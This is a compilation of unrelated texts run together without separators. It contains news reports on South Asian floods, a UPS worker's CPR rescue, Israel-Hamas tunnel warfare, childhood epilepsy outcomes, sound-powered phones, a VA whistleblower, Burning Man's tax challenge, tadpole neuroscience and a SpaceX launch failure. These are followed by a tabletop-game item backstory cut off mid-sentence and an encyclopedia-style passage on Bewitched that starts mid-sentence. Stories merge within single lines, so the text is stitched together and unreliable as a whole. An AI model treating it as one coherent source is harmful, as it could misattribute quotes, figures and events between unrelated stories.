In Pakistan, hardline Sunni sectarian groups, some with a history of fighting in Kashmir, have rushed to assist families who have fled to relief camps.
Other supposedly banned groups have also been quick to extend support, including the charity arm of Jamaat-ud-Dawa, which is led by Hafiz Saeed, a controversial hardline cleric. The group has set up its own camps, as well as offered food to displaced families.
Saeed is blacklisted under the UN's international terrorism sanctions and is also subject to a $10m US bounty for his role in the 2008 assault on the Indian city of Mumbai that killed 166 people.
South Asia experiences monsoon rains from June to September, which are vital for the regional agriculture. But the rains frequently turn to floods, devastating crops, destroying homes and prompting outbreaks of diseases and diarrhoea.
Deluged streets in Srinagar. Photograph: India defence ministry/EPA
Environmentalists in Delhi said the government should recognise that floods were getting worse due to climate change.
"The Kashmir floods are a grim reminder that climate change is now hitting India harder," said Chandra Bhusan, head of the climate change team at the Centre for Science and Environment.
The International Federation of Red Cross and Red Crescent Societies said this year's monsoon rains had killed more than 1,000 people in India alone.
Disaster preparation in both countries often falls foul of bureaucratic infighting and political rivalries.
Greater Kashmir, a newspaper in Srinagar, reported that the flood control department warned in a report in 2010 that a significant flood could occur in the state within five years. The report was sent to the union water resources ministry along with plans for a £220m flood prevention scheme, the newspaper said.
In 2010 floods in Pakistan caused by the rains killed more than 2,000 people and caused huge damage.
The southern Pakistani provinces of Sindh and Balochistan are bracing themselves as the storm surge continues down the length of the country.Please enable Javascript to watch this video
Virginia Beach, Va. - You could say that UPS worker Sisha Perea was in the right place at the right time.
“I feel like I did what a normal person, a normal human being should do," she says.
But when she took action to save the life of 84-year-old Marvin Bronson during a delivery, Marvin’s son will tell you it was much more than luck.
“I firmly hold it in my heart that God wanted her here and that God doesn`t want him to go yet because that`s why he put her here, to make sure he made it to the hospital and he had the opportunity to survive what happened.”
It was at a church,Calvary Baptist on Haygood Road, where he says God intervened.
“I guess he went into cardiac arrest and he hit his head,” says Marty Bronson, Marvin Bronson’s son. “He has a big welt on his head."
Meanwhile, Sisha and her husband Rob, who work together for UPS, drove up.
Rob walked in, saw Marvin not breathing and bleeding on the ground, and waved in Sisha who was in the truck.
“He was looking at me,” Sisha says. “His eyes were open and I was just praying to God just let me do this. Let me save this man`s life, let me help him.”
Sisha was the only one there who knew CPR, something she says she learned years ago while in the Coast Guard.
Paramedics later told Marvin’s family that her quick thinking made all the difference.
“She did what God put her here to do, and that training she got a long time ago was for a day like this," Marty Bronson says.
It was a day that could have ended a lot differently. You see, for some reason Rob decided to change his route, saving the church delivery for later.
“Everything happened for a reason and the Lord spoke to him and had him do something a little different to put us here,” Sisha says.
“I was proud of her,” Rob says. “It brought tears to my eyes.”
Marvin is recovering at the hospital -- a life that almost ended if not for the heroic act of a stranger.
“Everybody had their hand and God made it happen,” Marty Bronson says. “That`s how it works.”JERUSALEM — Israel entered its latest conflict with Hamas armed with a high-tech arsenal, real-time battlefield intelligence and strong domestic support for dealing a heavy blow to Hamas.
But again on Friday, Israeli forces were taken by surprise, this time with two soldiers killed and one taken prisoner when militants once again attacked from a tunnel in Gaza.
As frustration grows in Israel over the military’s limited success so far in trying to neutralize Hamas, the militant Islamic group that governs Gaza, some military experts say it is increasingly evident that the Israel Defense Forces have been operating from an old playbook and are not fully prepared for a more sophisticated, battle-ready adversary. The issue is not specifically the tunnels — which Israel knew about — but the way Hamas fighters trained to use them to create what experts in Israel are calling a “360-degree front.”
“Hamas has changed its doctrine and is using the tunnels as a main method of operation,” said Israel Ziv, a retired general who headed the military’s Gaza division and its operations directorate. “This is something we learned amid the fighting.”"Frequency and intensity of seizures remain important predictors of how well a child does into adulthood. But, somewhat to our surprise we also found seizures are by no means the sole influencers of social and educational outcomes among adults with childhood epilepsy," said study lead author Anne Berg.
Berg is a scientist with the Ann and Robert H. Lurie Children's Hospital of Chicago, and professor of pediatrics and neurology at Northwestern University Feinberg School of Medicine.
The research included 241 children and teens in Connecticut who were diagnosed with uncomplicated epilepsy from 1993 to 1997. They were followed for an average of 12 years.
Thirty-nine percent of the participants had excellent seizure control, with no seizures one year after diagnosis, the study showed. About 23 percent had good seizure control, with no seizures up to five years after diagnosis. Nearly 30 percent had seizures that came and went but generally responded to medication, and 8 percent had recurrent, drug-resistant seizures, the study found.
As young adults, more than 90 percent of the participants with excellent seizure control were either pursuing a college degree or had full-time or part-time jobs, compared with 60 percent of those with poor seizure control. More than 90 percent of those with good or excellent seizure control had a driver's license, compared with 60 percent of those with poor seizure control, researchers said.
Those with a history of learning problems were nearly 50 percent more likely to be unemployed, the study revealed.
Regardless of seizure control, participants with a history of emotional, behavioral or psychiatric conditions such as anxiety, depression, bipolar disorder or attention-deficit/hyperactivity disorder (ADHD) were 60 percent less likely to complete college and 50 percent less likely to be living independently.
Level of seizure control didn't affect the chances of trouble with the law. Participants with disruptive behavioral disorders, such as oppositional defiant disorder, had a nearly three-times increased risk of trouble with the law, regardless of seizure control.
The findings show the need to screen all children with epilepsy for learning problems, regardless of how well their seizures are controlled, the researchers said. Doing so could help prevent problems later in life.
"Physicians caring for those patients should not assume kids are doing fine just because their seizures are under control. Seizures really don't tell the whole story," Berg said in a hospital news release.
RELATED Doctors question nursing home fines for rehospitalization
The findings were published online recently in the journal Pediatrics.
The U.S. Centers for Disease Control and Prevention has more on epilepsy.
Copyright © 2016 HealthDay. All rights reserved.Future Cell Phones Could Be Powered by Sound Waves
December 4th, 2008 by Ariel Schwartz
Think about how often your cell phone is plugged into a jack. What if there was a way to eliminate all that power use? There may be, according to Tahir Cagin, a professor at Texas A&M University. Cagin and his colleagues have discovered a way to power cell phones using sound waves produced by the user.
The researchers found that a certain kind of piezoelectric material (crystals or ceramics that generate voltage when mechanical stress is applied) is able to convert energy at a 100 percent increase when manufactured at approximately 21 nanometers in thickness. If the material is produced at a larger or smaller thickness, its energy-converting capacity diminishes.
Since many electronic devices—cell phones, laptops, and personal communicators included— contain elements measured in nanometers, Cagin’s discovery has huge implications.
Cagin’s technology is still in the research phase, but piezoelectrics are already found in microphones, quartz watches, and even cigarette lighters.
Photo Credit: MITThe Veteran Affairs Office of Inspector General (VAOIG) is currently investigating the Altoona Pennsylvania VA Medical Center (VAMC) for manipulating data in treating patients with traumatic brain injuries (TBI).
“We have opened a case based on a review of the information you sent to our office,” according to a May 10 email sent to James DeNofrio, an Altoona VAMC employee and whistleblower who originally filed the complaint.
Because veterans who suffer TBIs can develop all sorts of physical and psychological issues ranging from Post-Traumatic Stress Disorder (PTSD) to chronic traumatic encephalopathy (CTE) they require specialized care which is provided in polytrauma at the Altoona VAMC.
The problems started in 2013 when Dr. David MacPherson, then the Chief Medical Officer for Veteran Integrated Services Network (VISN) 4, a region which includes the Altoona VAMC, expressed concerns that the number of TBI patients purported to be treated at the Altoona VAMC appeared to be unusually high.
“Altoona reports a very large number of case managed polytrauma Veterans and I don’t think the report is accurate,” Dr. MacPherson said in a 2013 email to Dr. Santha Kurian, the chief of staff of the Altoona VAMC.
A call to VISN 4 was left unreturned and Andrea Young, public affairs officer for the Altoona VAMC said Dr. MacPherson has since retired.
DeNofrio was then tasked with reviewing the TBI files.
According to subsequent emails sent to superiors, DeNofrio found that not only did Altoona VAMC take credit for providing polytraumatic care to patients who were not receiving it — many who the hospital claimed were receiving care had moved to other parts of the country and DeNofrio discovered one was in jail. He also found dozens of veterans with TBI who were receiving no care at all.
In his initial 2013 review, DeNofrio found that out of 647 patients identified as having a TBI who the hospital said were receiving care 414 were not receiving any care. Out of those left, DeNofrio found that 97 were still in need of follow-up appointments.
In his initial 2013 review, DeNofrio found that out of 647 patients who had a TBI who the hospital said were receiving care in the polytraumatic unit 414 were not receiving any care in that unit; from those left, DeNofrio found that 97 were still in need of follow-up appointments after those patients missed a scheduled appointment.
Despite sharing his findings with Dr. Kurian, and William Mills, then the director of Altoona VAMC, a follow up review in 2014 found that little had been fixed; DeNofrio found that 90 patients were still not receiving follow-up appointments in 2014.
DeNofrio found that of those who did not receive follow up care seven veteran deaths.
Mills has since left the Altoona VAMC and is now the interim director at the Memphis VAMC; Mills left the Altoona VAMC days after the Office of Special Counsel published its findings of complaints by DeNofrio and another whistleblower, Dr. Tim Skarada.
Willie Logan, public affairs officer for the Memphis VAMC, did not respond to an email for comment.
In 2015, DeNofrio took his complaints to Congressman Bill Shuster, a Republican from Pennsylvania’s 9th District, which includes the Altoona VAMC.
When Shuster’s office investigated DeNofrio’s complaints, Mills downplayed the issues, specifically that any deaths could be attributed to poor patient care.
“My most serious concern was Mr. DeNofrio’s newest claim to you that there had been danger to public health or safety, and even patient deaths related to the VAMC.” Mills said to Shuster’s office in a letter from April 29, 2015. “Upon receipt of the names of patients from Mr. DeNofrio, a full review was conducted by our Patient Safety Manager and reviewed by our Chief, Quality Management. Both concurred that the patients identified were reviewed, and had been followed up by the Polytrauma team and had been followed up by other disciplines.”
Mills also claimed that DeNofrio asked several investigative bodies, including VAOIG, to investigate the matter “and each of these has been investigated through appropriate channels.”
In his reply to Congressman Shuster, DeNofrio pushed back saying that while he did file complaints with numerous agencies “it is not true that each of these has been investigated through appropriate channels.”
DeNofrio also took issue with the suggestion that Mills was only recently made aware of patient deaths telling Shuster, “Please note that this information was reported by me in email directly to Mr. Mills and the Patient Safety Manager as well as other members of Altoona VAMC leadership in November 2014, following a similar finding in 2013.”
Casey Contres, press secretary for Congressman Shuster, declined formal comment saying only: “Our office has been in contact with Mr. DeNofrio and continues to be in contact with him, but we do not comment on ongoing constituent inquiries.”
Andrea Young, public affairs officer at the Altoona VAMC, issued this statement:
“At the Altoona VA Medical Center, the health and well-being of our Veterans is our top priority. We are also fully committed to collaborative efforts with the Office of the Inspector General (OIG) to ensure safe and high quality practices are continuously implemented within the medical center for our Veterans.
“While we appreciate the Office of Inspector General’s independent review, due to the ongoing investigation, we cannot provide further details at this time.”FILE - In this Friday, Sept. 4, 2015 file photo, "burners" stand inside an art sculpture during a dust storm at the Burning Man festival in the Black Rock Desert near Gerlach, Nev. Organizers of the Burning Man counter-culture celebration are challenging the enforcement of a Nevada state tax that they say could cost them nearly $3 million. Burning Man officials said in a letter to the state Department of Taxation on Friday, Dec. 12, 2015 that the festival should be exempt from the recently amended tax on live entertainment, the Reno Gazette-Journal reported Saturday. (Andy Barron/Reno Gazette-Journal via AP, File) http://syndication.ap.org/AP.Distro.ContentBroker2/ContentBroker.aspx?contentid=80a1ac29d84461378a0f6a7067005ac2&iid=a7017b4317a84457b540838b3abe777a&rsn=0&recordid=a7017b4317a84457b540838b3abe777a&filingId=7a5f8da770644cff99ff9f00dfcc4457&role=Preview&reldt=2015-12-13T01:26:09&media=Photo&sz=&dest=ak&trF=NVREN202&ofn=Burning%2bMan%2bEntertianment%2bTax.JPEG&fmt=jpg&relativeUrl=jpg/2015/201512/13/80a1ac29d84461378a0f6a7067005ac2.jpg&s3Key=preview.jpg&authToken=eNotizEOwyAQBF8EujNwkAIpX8FApCtiLDBKint8sJQtdouZlfqNZFxwYaMAd9xGJJljgIQpbw9VgrWK0HgVErwUJQ%2fkl7egNC7rDs7IHDG34%2bq8z6v18dzn4KOOVYNL7Tq3t0xeMgIZOT%2fxD9CB8BnJ6gU03ovuB%2fI6LaI%3d RENO, Nev. (AP) — Organizers of the Burning Man counter-culture celebration are challenging the enforcement of a Nevada state tax that they say could cost them nearly $3 million.
Burning Man officials said in a letter to the state Department of Taxation on Friday that the festival should be exempt from the recently amended tax on live entertainment, the Reno Gazette-Journal reported Saturday (http://tinyurl.com/nrfm3hq).
The 25-year-old annual arts festival attracted about 80,000 participants this year to the Black Rock Desert 100 miles north of Reno.
Burning Man attorney Ray Allen said the 9 percent tax would translate into a tax bill of about $2.8 million. He said the tax is known by some as the "Burning Man tax."
"From our perspective, this is the latest attempt by an outside entity to unfairly tap the resources of Burning Man and its participants," event organizers said in a statement posted on their web site. "Some seem to view Burning Man as the 'golden goose' they can turn to when they want money for other projects."
Burning Man officials said they will not set 2016 ticket prices until they hear back from the taxation department because they could be forced to bump up the cost of entry to the temporary village dubbed "Black Rock City." They urged the department to respond by Jan. 15.
In June, the Legislature approved a revised version of the live entertainment tax, which originally came into law in 2004 as a way for the state to gain revenue from Las Vegas's robust live entertainment industry. The revised version became effective Oct. 1.
Certain events — including school, sporting, racing and nonprofit events attended by fewer than 7,500 people — remain exempt from the tax. Burning Man and the Electric Daisy Carnival, a music festival held in Las Vegas, were the two largest events newly affected by the change.
Burning Man maintains it should be treated as it has historically during the weeklong celebration that culminates with the burning of a towering, wooden effigy the day before Labor Day.
"Black Rock City is not an arena concert, a sporting event or a Las Vegas show; it's a thriving metropolis with all the trappings of a functioning temporary city, with people camping, cooking meals, visiting neighbors, and exploring the offerings of its citizens," the organization said in its online statement.
"While the Burning Man organization provides the space and basic infrastructure for Black Rock City, we simply don't provide live entertainment as defined by the statute."
Burning Man previously was exempt because it was an outdoor event, said ex-House Speaker Marilyn Kirkpatrick, D-Las Vegas, who co-sponsored the bill in March. No other newly affected organization, including the Electric Daisy Carnival, had qualms with paying the tax, she said.
As is, the tax brings in about $137 million annually, most of which goes toward the state's general fund. About $150,000 will go toward the Nevada Arts Council in the future.
"It's just a sign of the times. Entertainment has changed," Kirkpatrick said. "There's no way we could have predicted in 2003 that there would be an event like Burning Man. It's disappointing that they take it so personal."
Burning Man previously stated that an increase in ticket prices may be necessary to cover the tax. General admission tickets in 2015 were $390, a $10 increase from 2014.
___
Information from: Reno Gazette-Journal, http://www.rgj.comIn a study using tadpoles, neuroscientists tracked how the brain develops its sense of whether two sensory inputs — for example, vision and touch — happened at the same time.
PROVIDENCE, R.I. [Brown University] — Most people encounter most things by sensing them in multiple ways. As we hear the words people speak, we also see their lips move. We smell, see and hear the onions as we chop them — and we feel them with teary eyes.
It turns out that the ability to judge such sensory inputs as simultaneous, and therefore likely pertaining to the same thing, is something animal brains must develop through experience. A new study using tadpoles as a model organism shows how that appears to happen.
In making their findings, the scientists hope they can better understand how this sensory integration may sometimes go askew, perhaps contributing to disorders including autism. Some studies have suggested that difficulty merging sound and vision in some autism disorders may lead to language deficits.
“People have tried to distill how the brain detects this temporal coincidence,” said study corresponding author Carlos Aizenman, a professor of neuroscience at Brown University. “We created a preparation where we could study how the different inputs are combined in a single cell and what types of brain circuits are involved.”
In the study online in the journal eLife, Aizenman, lead author Daniel Felch and Bard College colleague Arseny Khakhalin were able to electrically stimulate the senses of vision and vibration in the brains of tadpoles at key stages of their neural development. They did so with very precise timing (small fractions of a second apart) and then tracked the responses of neurons in the optic tectum of the tadpole brains, where sensory information is processed and integrated. In humans and other mammals, the same part of the brain is called the superior colliculus, and neurons there do the same job.
The scientists found that sensory integration neurons in the optic tectum in relatively immature tadpole brains would become and remain excited by receiving two stimuli even if they were somewhat far apart in time. As the tadpole brains matured into later stages of development the same neural circuits would squelch their initial excitement if the sensory inputs came similarly far apart. More mature brains became better at determining when stimuli were nearly simultaneous and suppressing excitement when they weren’t.
The results suggest that as tadpole brains mature, inhibitory neurons gain more sway in their balance with excitatory neurons, leading to more refined discrimination between sensory inputs that are truly simultaneous rather than merely proximate in time. In one experiment of the study, the scientists blocked inhibition. That stunted the tadpole brains’ ability to discriminate.
Perturbing the process
The study illustrates, as others have as well, how sensory experiences shape the developing brain, Aizenman said.
“The brain normally starts out poorly wired,” he said. “Activity in the brain sculpts the response of the brain to have a much more refined and fine-tuned function.”
What’s new is that the research also explains the mechanism by which that happens and shows that it can be derailed.
“The balance of excitation and inhibition in the brain is important for creating this type of temporal window,” Aizenman said. “If you disrupt it, you get abnormal multisensory processing.”
In future work, Aizenman said he hopes to do more of that: experiment with different ways of perturbing the process at different times during development to see what effect that may have on tadpole behaviors such as finding food or avoiding danger.
Tadpoles do not experience language, of course, but the results may still contribute, at a basic level, to generating hypotheses about how sensory integration may be affected in human development. Even though they develop somewhat differently and encounter different experiences, tadpoles and people share the same basic brain organization.
“What’s important here are not the things that are different, but the things that are the same,” Aizenman said. “The fundamental principles are conserved.”
The National Science Foundation (grant IOS-1353044), the National Eye Institute (grant: 5T32-EY018080) and Brown University funded the research.Sunday morning a Falcon 9 rocket carrying cargo to the International Space Station experienced a catastrophic failure 2:19 into its flight.
Anyone watching the launch would have to admit that this all happened rather fast with no real warning in advance that anything was amiss.
The Falcon 9 was at an altitude of approximately 45 km and traveling in excess of 5,000 km per hour when a problem developed in the second stage. SpaceRef can confirm from sources within SpaceX that the Falcon 9 first stage performed nominally i.e. as expected. Indeed, if you watch launch video, you can see that first stage continues to function steady and stable even while the front end of the rocket was destroying itself. That in and of itself is impressive.
According to SpaceX telemetry received from the Dragon spacecraft showed that it too was functioning after the mishap occurred and telemetry continued to be sent back from Dragon for a significant period of time.
SpaceX now confirms that the U.S. Air Force Range Safety Officer did initiate a destruct command but that this command was sent 70 seconds after the mishap occurred, as a formal matter of process. There was nothing left to destroy at that point. NASA Public Affairs had originally told SpaceRef yesterday that there had been no such command issued by the USAF.
SpaceX ships originally in place to attempt to recover the first stage for reuse are now engaged approximately 100 miles offshore in debris location and collection activities. If, by any chance you think you have located debris contact recovery@spacex.com or call 1-866-392-0035.
In the near term SpaceX will be supporting daily meetings with NASA, the FAA, and the U.S. Air Force. A formal FAA mishap investigation process is guiding these activities.
Investigation teams have already been organized and are starting to examine over 3,000 channels of telemetry data and video received from the Falcon 9 and Dragon during their short flight. A detailed timeline of events will be assembled as this data is analyzed. SpaceX is also taking a close look at the history of this Falcon 9 launch vehicle throughout its manufacture, integration, and processing.
As for the specific cause of the mishap - no one knows anything for certain yet - it is far too early to arrive at any conclusions in this regard. That said the attitude inside of SpaceX is positive and everyone is looking to find out what happened, fix it, and get back to launching spaceships again.
Please follow SpaceRef on Twitter and Like us on Facebook.Vyncent Atham's Hood and Punishment
Long ago, in a kingdom forgotten by most of the world, there was a strict and imposing man called Vyncent Atham, head of the only executioner's guild in the realm. Despite his appearance and attitude, the people saw him somewhat as a symbol of justice and authority, no matter who the condemned was, he always carried out a quick and painless verdict. Sword in hand, some folk even looked up to him as they would to a hero.
However, on one certain ill-fated trial, the condemned was a hag, Mora, accused of various kidnappings and other more horrid crimes. Mora was weakened and wounded from fighting her captors, she barely had any power left, but refused to go down quietly. And thus, before Vyncent could descend the blade upon her neck, she cursed him. Sacrificing her life and soul to fuel the ritual, her body burst into green and black flame as soon as the blade connected, producing a cacophony of screams and wails. There was nothing left of her, only soot and ash.
Over the following weeks, the curse started to manifest, corrupting the executioner's mind and body, his veins turned jet black, his eyes became empty and his skin gained a grayish tone. Atham tried to seek aid, but to no avail, be it natural or divine, no method could fight his curse. Not long after these changes, he became increasingly ruthless and violent in his executions, until he finally snapped.
Vyncent Atham snapped in the middle of his last execution, slaughtering every spectator, passerby and guard within reach. He displayed vicious ferocity along with supernatural ability and endurance for hours, killing hundreds, but was eventually defeated by the king's guard.
Vyncent, bloody and beat, was beheaded shortly after the massacre. Before the execution, people reported how underneath the hood, his face had been twisted into a gruesome visage. In his final moments, he was clearly no longer human.
Rumour has it, that his own sword and hood had been slightly warped and changed by their owner's curse and the carnage he caused. Both were apprehended before his execution, and still carry some of the monstrous executioner's power.
Vyncent Atham's Hood
Wondrous item, rare (requires attunement)
This brown-whitish cloth hood was once worn by Vyncent Atham, an executioner from a long forgotten realm, transformed into a monster by a powerful curse. The hood completely covers the head of its wearer down to the collarbone, a black upside down Y shape adorns it's face along with two eye holes and it smells faintly of dry blood and old fabric. It has an eerie aura around it.
While wearing this hood you gain the following benefits:
Your Strength score increases by 2, to a maximum of 20.
You have darkvision out to a range of 60 feet.
You gain proficiency in the Intimidation skill. If you already have this proficiency, you have advantage on Intimidation checks.
You have advantage on Wisdom (Survival) checks to track Humanoids.
Bloodcurdling Aura. As an action, you can manifest an aura of dread through the hood. Each creature in a 30-foot cone must succeed on a DC 16 Wisdom saving throw or drop whatever it is holding and become frightened for one minute or until it breaks line of sight to you. If a creature's saving throw is successful or the effect ends for it, the creature is immune to this ability for the next 24 hours. Once you use this feature, |
following two years.[7]
At the time, the show had won three Emmy Awards. William Asher won the Primetime Emmy Award for Outstanding Directing for a Comedy Series in 1966. Alice Pearce posthumously won the Primetime Emmy Award for Outstanding Supporting Actress in a Comedy Series for her portrayal of Gladys Kravitz and Marion Lorne won the same award posthumously in 1968 for her portrayal of Aunt Clara. Producers were faced with how to deal with the deaths of both these actresses. When Pearce died in the spring of 1966, only a few episodes of season two remained to be filmed. Mary Grace Canfield was hired to play Gladys's sister-in-law, Harriet Kravitz in four episodes. Comedienne Alice Ghostley was approached to take over the role of Gladys the next season, but turned it down. Instead, Sandra Gould was hired. Marion Lorne was not replaced, and the character of Aunt Clara was not seen after the fourth season (although she was referred to a in a few episodes at the beginning of the fifth season). Rather, beginning in the show's sixth year, Ghostley was finally used to play the character of Esmeralda, a kind but shy and inept witch. In another notable casting change, Louise Tate, played by Irene Vernon during the first two seasons, was played by Kasey Rogers thereafter.
The fifth season of Bewitched (1968-1969) proved to be a watershed for the series most notably with the death of Marion Lorne and the frequent absences of Dick York in many episodes. York was suffering from recurring back problems, the result of an accident during the filming of They Came To Cordura (1959). As a result, many episodes featured Samantha and Tabitha on their own with York's character of Darrin out of town on business. It was during this time that Serena (Samantha's identical cousin, also played by Montgomery) was used more frequently. Filming of scenes involving both Samantha and Serena was accomplished by using Melody McCord, Montgomery's stand-in. Towards the end of the season, York's increased disability which caused ongoing shooting delays and script rewrites resulted in his collapsing on the set in January 1969 while filming the episode "Daddy Does His Thing". He was inmmediately rushed to the hospital and after a long talk with producer-director William Asher, York decide to leave the series. At about the same time, Montgomery and Asher announced that they were expecting another baby and it was decided that Samantha and Darrin would also have another child in the fall of that year. On screen, Samantha tells Darrin over the phone the news of her second pregnancy. That same month, Dick Sargent was cast to play Darrin beginning in the sixth season.[8]
Beginning with the sixth season's (1969–1970) opening credits, in addition to York being replaced with Sargent, Elizabeth Montgomery was billed above the title, and David White now received billing as well, after Agnes Moorehead's. During this year, the show saw a significant decline in ratings, falling from eleventh to 24th place. In mid-1970, the set of the Stephens' home was being rebuilt due to a fire. In June, the cast and crew traveled to Salem, Magnolia, and Gloucester, Massachusetts to film an eight-part story arc in which Samantha, Darrin, and Endora travel to Salem for the centennial Witches Convocation. These location shoots marked the only times the show would film away from its Hollywood studio sets and backlot. Season seven premiered with eight so-called 'Salem Saga' episodes. On June 15, 2005, TV Land unveiled a Samantha statue in Salem to mark the show's 40th anniversary.[9] On hand were three surviving actors from the show, Bernard Fox (Dr. Bombay), Erin Murphy (Tabitha), and Kasey Rogers (Louise Tate), as well as producer/director William Asher.[10]
These on-location episodes helped the show's sagging ratings,[11] but after the Salem episodes, viewership again dwindled. Scripts from old episodes were recycled frequently. The year's ratings for Bewitched had fallen and the show did not even rank in the list of the top thirty programs. ABC moved Bewitched's airtime from Thursdays at 8:30 pm to Wednesdays at 8:00 pm at the beginning of the eighth season. The schedule change did not help ratings as the show was now pitted against CBS's popular The Carol Burnett Show. Fewer recurring characters were used this season, with the Kravitzes, Darrin's parents, and Uncle Arthur not appearing at all. Filming ended in December 1971, and in January 1972 the show was finally moved to Saturday night at 8:00 pm, opposite television's number one show, All in the Family, where it fared even worse, with Bewitched finishing in 72nd place for the year.
Cancellation and Aftermath [ edit ]
Despite the low ratings, Bewitched still had a contract for two more seasons on ABC. The network was willing to honor that contract by renewing the sitcom for a ninth season. However, by this time, Montgomery had grown tired of the series and wanted to move on to other roles. Also, she and her husband William Asher had separated and would divorce in 1974.
As a consolation, Asher pitched an idea to ABC for a sitcom starring Paul Lynde. The concept was based on the play Howie, about a lawyer, played by Lynde, whose daughter marries a slacker named Howard, or "Howie". The Lynde character despises him as he is not interested in earning money or traditional pursuits. Howie was developed for CBS in 1962, as a replacement for The Dick Van Dyke Show, but when that series was saved from cancellation, plans for Howie were discarded. In creating a series for Paul Lynde, Asher decided to resurrect the Howie concept for ABC and Screen Gems as a replacement for Bewitched’s ninth season the following year. Asher designed The Paul Lynde Show to be ABC's counterpart to CBS's All In The Family; however, the show lacked the controversial and topical issues brought up by that series, due to ABC's continued restriction on social issues at the time. This was despite Lynde's rewrite of the show's dialog in an effort to make the series more lively and comedic. When The Paul Lynde Show debuted on ABC in the fall of 1972, it inherited Bewitched’s time slot during its last season on Wednesday nights opposite the first half of the Top 30 hit The Carol Burnett Show on CBS and the Top 20 hit Adam-12 on NBC. As a result, the series garnered low ratings and The Paul Lynde Show was canceled after one season (26 episodes).
In order to help fulfill the network’s contract with Bewitched, Asher and Harry Ackerman created another ABC sitcom for the 1972-1973 season entitled Temperatures Rising starring James Whitmore and Cleavon Little, which, in its first year, was not only struggling with its format but with the ratings as well. In mid-season, Asher was replaced as producer by Bruce Johnson and Duke Vincent. Despite its challenges, the series ended its first year with a respectable 29 share and was renewed for the 1973-1974 season. However, to improve ratings, ABC wanted to make some changes. When ‘’The New Temperatures Rising Show’’ debuted in September, 1973, James Whitmore was replaced by Paul Lynde and the emphasis on black comedy in the show became more prominent. As a result, the ratings for the series fell well below the levels of the previous season.[3] The last of the thirteen episodes aired on January 8, 1974.[63] The following Tuesday, January 15, ABC premiered Happy Days in its place.
When Screen Gems head John Mitchell and ABC chief programmer Barry Diller noticed that The New Temperatures Rising Show was failing, they contacted William Asher and asked him to come back and salvage the series. As a result, the show was resurrected on July 18, 1974 after a six-month hiatus with its original title Temperature’s Rising. Joining Lynde and Little in the cast was Bewitched alum Alice Ghostley. Despite the changes in cast and format, the attempt to resuscitate the series was unsuccessful, and ABC finally cancelled it permanently. The final episode of Temperatures Rising aired on August 29, 1974 which ended William Asher’s original contract with Bewitched and ABC.
Sets and locations [ edit ]
The 1959 Columbia Pictures film Gidget was filmed on location at a real house in Santa Monica (at 267 18th Street). The blueprint design of this house was later reversed and replicated as a house facade attached to an existing garage on the backlot of Columbia's Ranch. This was the house seen on Bewitched. The patio and living room sets seen in Columbia's Gidget Goes to Rome (1963) were soon adapted for the permanent Bewitched set for 1964. The interior of the Stephens' house can be seen, substantially unaltered, in the Jerry Lewis film Hook, Line & Sinker (1969). The set was also used several times in the television series Gidget and I Dream of Jeannie, as well as the made-for-television movie Brian's Song (1971). It was also used, as a setting for an opening tag sequence, for the final episode of the first season of another Screen Gems property, The Monkees and in an episode of The Fantastic Journey. The house served as Doctor Bellows' house on I Dream of Jeannie, and was seen in an episode of Home Improvement when Tim Taylor took Tool Time on location to the house of Vinnie's mother to repair a gas leak in the basement furnace (with a second gas leak at the kitchen stove, unbeknownst to Tim). The Stephens house was also featured in a Fruit of the Loom Christmas commercial and it was used as Clark Griswold's boyhood home in his old home movies in National Lampoon's Christmas Vacation[12]. On the Columbia studio backlot, the Kravitzes' house was actually down the street from the Stephenses' house exterior. Both houses' exterior doors opened to an unfinished eighteen-by-fifteen-foot entry, as the interiors were shot on studio sound stages elsewhere. A "front porch" set, replicating the porch of the backlot house was created as well. From 1964 through 1966 the Kravitzes' house was the same as used for The Donna Reed Show, beginning with season 3 color episodes in 1966, the Kravitz house sets were the same as what would (years later) be featured as The Partridge Family house. Production and filming for Bewitched was based in Los Angeles and, although the setting is assumed to be New York, several episodes feature wide-angle exterior views of the Stephenses' neighborhood showing a California landscape with mountains in the distance. Another example of questionable continuity regarding the location can be seen in Season 6, Episode 6: Darrin's parents drive home after visiting the new baby, passing several large palm trees lining the street.
Cultural context [ edit ]
In February 1964, feminist Betty Friedan wrote the two-part essay "Television and the Feminine Mystique" for TV Guide, wherein she criticized the way women were portrayed in television. She summarized their depiction as stupid, unattractive, and insecure household drudges. Their time was divided between dreaming of love and plotting revenge on their husbands. Samantha was not depicted this way and Endora used Friedan-like words to criticize the boring drudgery of household life.[4] Others have looked at the way that the series 'play[ed] into and subvert[ed] a rich load of cultural stereotypes and allusions' regarding witches, gender roles, advertising and consumerism.[13]
In the episode "Eat at Mario's" (May 27, 1965), Samantha and Endora co-operate in using their witchcraft to defend and promote a quality Italian restaurant. They take delight in an active, aggressive role in the public space, breaking new ground in the depiction of women in television.[4]
Reception [ edit ]
Walter Metz attributes the success of the series to its snappy writing, the charm of Elizabeth Montgomery, and the talents of its large supporting cast. The show also made use of respected film techniques for its special effects. The soundtrack was unique, notably where it concerned the synthesized sound of nose twitching.[7]
The first episodes featured a voice-over narrator "performing comic sociological analyses" of the role of a witch in middle class suburbia. The style was reminiscent of Hollywood films such as Will Success Spoil Rock Hunter? (1957).[4] In a 1991 audio interview with film historian Ronald Haver, Elizabeth Montgomery revealed that her father Robert Montgomery was originally approached to narrate these episodes but he refused. Instead, the narration was done by Academy Award-winning actor José Ferrer, who did not receive credit.
Impact [ edit ]
The series inspired rival show I Dream of Jeannie (1965–1970).[7]
Spin-offs, crossovers, and remakes [ edit ]
The Flintstones [ edit ]
The 1965 episode of The Flintstones titled "Samantha" (1965) featured Dick York and Elizabeth Montgomery as Darrin and Samantha Stephens, who have just moved into the neighborhood. This crossover was facilitated by both series being broadcast on ABC.[14]
Tabitha and Adam and the Clown Family [ edit ]
An animated cartoon made in 1972 by Hanna-Barbera Productions for The ABC Saturday Superstar Movie, this featured teenage versions of Tabitha and Adam visiting their aunt and her family who travel with a circus.
Tabitha [ edit ]
In 1977, a short-lived spin-off entitled Tabitha aired on ABC. Lisa Hartman played Tabitha, now an adult working with her brother Adam at television station KXLA. There were several continuity differences with the original series. Adam and Tabitha had both aged far more than the intervening five years between the two series would have allowed. Adam also had become Tabitha's older mortal brother, rather than her younger warlock brother, as he was in Bewitched. Supporting character Aunt Minerva (Karen Morrow) says she has been close to Tabitha since childhood, though she had never been mentioned once in the original series. Tabitha's parents are mentioned but never appear. However Bernard Fox, Sandra Gould, George Tobias and Dick Wilson reprised their roles as Dr. Bombay, Gladys Kravitz, Abner Kravitz, and "various drunks."
Theatrical movie [ edit ]
